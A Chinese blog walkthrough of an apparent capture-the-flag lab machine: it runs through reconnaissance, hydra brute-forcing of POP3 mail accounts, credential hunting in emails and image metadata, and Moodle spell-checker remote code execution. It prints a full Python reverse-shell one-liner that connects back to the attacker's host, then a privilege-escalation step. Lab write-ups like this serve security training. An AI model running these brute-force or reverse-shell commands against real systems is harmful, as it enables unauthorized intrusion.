注:因记录时间不同,记录中1.111和1.105均为靶机地址。

1信息收集

1.1得到目标,相关界面如下:

1.2简单信息收集

wappalyzer插件显示:

  web服务器:Apache 2.4.7

  OS:Ubuntu

Nmap扫描端口:

  Open port 80/25/55006/55007

1.3查看web页面更多信息

页面显示添加/sev-home/访问,于是访问http://172.16.1.111/sev-home/如下

没有用用户名密码,且页面无更多信息,尝试查看源码

发现terminal.js文件

点击查看

js文件中涉及信息如下:

  人名:Boris,Natalya

  编码:

    

html实体编码,解码后为:InvincibleHack3r

尝试使用已知两个用户名和解码后的信息登陆,发现登陆失败。Boris小写后成功登陆

登陆后的页面信息提示:

  “pop3服务配置为在一个非常高的非默认端口上运行”

结合最初nmap扫描的信息,可能为55006或55007。

识别端口:

  Nmap识别:Nmap -Pn -p your-port -sV your-IP,显示pop3端口为55007

  我是偶然加端口访问,看到相关端口信息

爆破POP3

利用已知用户名,使用工具进行爆破。这里使用hydra。

root@kali:~# hydra -l natalya -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3

root@kali:~# hydra -l boris -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3

PS:hydra用法:

  hydra -l muts -P pass.txt my.pop3.mail pop3

    -l 指定用户名

    -L 指定用户名字典

    -p 指定密码破解

    -P 指定密码字典

    -f 破解一个就停止

    -s 指定端口

截止目前,爆破得到的信息如下

  N:boris  P:secert1!

  N:natalya  P:bird

nc查看账户

boris账户登录:

(不知道什么原因,其他人能正常登录,我的不行。好在账户的三封邮件信息无关)

natalya账户登录:

查看第一封邮件

(好像没有有价值信息)

查看第二封邮件

从邮件进一步得到信息:

  username: xenia

  password: RCP90rulez!

  Domain: severnaya-station.com/gnocertdir

并指出需要host文件 severnaya-station.com in /etc/hosts.

按照套路,使用得到的用户名和密码登录邮箱,显示失败。转向web界面尝试。

修改本机host文件

Win10下位置(没有则新建):/windows/system32/drivers/etc

修改内容:172.16.1.105   severnaya-station.com

访问severnaya-station.com/gnocertdir

登录

到此,正式登录系统

2 漏洞发现

登陆系统,例行查看信息

发现cms类型,js库版本,编程语言等更多信息。

随处点击查看,发现 

猜想CMS为moodle,版本为2.2.3

百度搜索该CMS漏洞,发现有rce漏洞。msf搜索,发现exp。

在所有必要信息中,缺少用户名和密码。先放一放,继续查看

登录后,打开看到未读邮件,发现用户doak

继续使用工具对doak账户进行爆破

  USER doak

  PASS goat

登录doak邮箱,查看邮件

得到

  账号 dr_doak

  密码 4England!

(邮箱尝试,不存在该用户)网页登录,发现如下内容

点击文档下载查看

提到图片 /dir007key/for-007.jpg

查看http://severnaya-station.com/dir007key/for-007.jpg

网上看Linux下使用strings工具多图片进行分析

不会用,没有找到有用信息

使用exiftool,查看

或者查看图片信息

发现信息:eFdpbnRlcjE5OTV4IQ==

使用小葵解密,为xWinter1995x!

继续查看,发现如下。猜测admin为管理员账户

使用admin账户 xWinter1995x!密码登录

页面信息印证CMS版本猜想

至此,得到使用该CMS漏洞exp的所有信息

3漏洞利用

使用Msf的exp

运行失败

拿shell方法2

百度搜索,找到另一种方法

1、在Home >Site administration >Server >System paths中添加反弹shell的代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2、在 Home >Site administration>Plugins > Text editors >TinyMCE HTML editor中将Spell engine改为PSpellShell

3、本地nc监听端口

4、在Home> My profile >Blogs >Add a new entry随便填点东西,然后点击下图中红框的Toggle spellchecker,之后就获得shell

获取shell之后要做的第一件事是使用Python获取一个tty

python -c 'import pty; pty.spawn("/bin/bash")'

4 权限提升

查看当前服务器版本

kali查找可用提权方式

找到kali中的文件,放到本地

Python开启服务

在nc中连接,将本机文件上传至靶机(这里改名为444.c)

因靶机中未安装gcc,故用cc编译,需将文件中一处gcc换为cc

上传>编译>修改权限>执行

到此,拿到root权限

最新文章

  1. 基础才是重中之重~C#中标准的IDispose模式
  2. 用jquery写循环播放div的相关笔记 珍贵的总结 -1
  3. 第35讲:List的map、flatMap、foreach、filter操作代码实战
  4. ajax原理,验证码生成原理
  5. linux服务器git pull/push时提示输入账号密码之免除设置
  6. codeforces #305 A Mike and Frog
  7. CentOS 5.4下的Memcache安装步骤(Linux+Nginx+PHP+Memcached)
  8. Gap Locks 区间锁
  9. django: template - built-in tags
  10. 利用jxl读取excel合并的单元格的一个小样例
  11. Tour(KM算法)
  12. 吐槽CSDN编辑
  13. 1.1 什么是LinQ
  14. 剑指offer面试题5 从头到尾打印链表(c)
  15. Spring Boot中通过CORS解决跨域问题
  16. Using curl to upload POST data with files
  17. JavaScript怎样学
  18. Android RILD运行机制详解
  19. SaltStack入门篇(六)之部署Redis主从实现和Job管理
  20. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

热门文章

  1. Python第四章-流程控制
  2. Linux中cache和buff的区别
  3. OpenCV-Python | 图像的基本操作 十
  4. 图像配准:从SIFT到深度学习
  5. Python NLP库top6的介绍和比较
  6. 【原创】Linux select/poll机制原理分析
  7. 【Pytest02】全网最全最新的Pytest框架快速进阶篇(pytest前置和后置以及忽略测试用例)
  8. SpringBoot 集成多数据源
  9. 角色移动优化【Unity2D自学之路】
  10. Spring中应用的那些设计模式